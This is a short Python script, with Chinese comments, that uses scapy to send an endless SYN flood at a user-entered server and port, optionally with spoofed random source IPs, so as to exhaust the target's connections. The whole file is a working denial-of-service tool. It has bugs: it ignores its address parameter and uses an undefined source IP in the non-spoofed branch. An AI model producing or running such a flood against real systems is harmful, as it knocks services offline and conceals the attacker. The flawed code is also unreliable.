#!/usr/bin/env python3
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
#from multiprocessing import Porce,Pool
from random import randint
from product_random_ip_tool import random_ip
import time
#在被攻击服务器或设备的RTT时间内，建立足够的连接，占满服务器的连接数
def send_syn(attacked_addr,attacked_port,rand_s_ip=True):
    if rand_s_ip == True:#随即伪造源IP
        print("使用虚假IP地址攻击")
        time.sleep(0.5)
        while True:

            sour_ip = random_ip()#源IP为虚假的随即IP地址
            rand_seq = randint(1,65535*65535)#序列号随即
            s_port = randint(10,65535)#源端口随即
            syn_packet = IP(src=sour_ip,dst=ip_addr)/TCP(dport=attacked_port,sport=s_port,flags=2,seq=rand_seq)
            send(syn_packet,verbose=False)

    else:#用真实IP地址攻击
        print("使用真实IP地址攻击")
        time.sleep(0.5)
        while True:
            rand_seq = randint(1,65535*65535)#序列号随即
            s_port = randint(10,65535)#源端口随即
            syn_packet = IP(src=sour_ip,dst=ip_addr)/TCP(dport=attacked_port,sport=s_port,flags=2,seq=rand_seq)
            send(syn_packet,verbose=False)
if __name__ == "__main__":
    ip_addr = input("要测试攻击的服务器地址：").strip()
    port = input("要测试攻击的服务器的端口为:").strip()
    att_ip = input("是否使用虚假IP地址攻击(yes|no):").strip()
    if att_ip == "yes":
        rand_s_ip = True
    else:
        rand_s_ip =False
    send_syn(ip_addr,int(port),rand_s_ip)
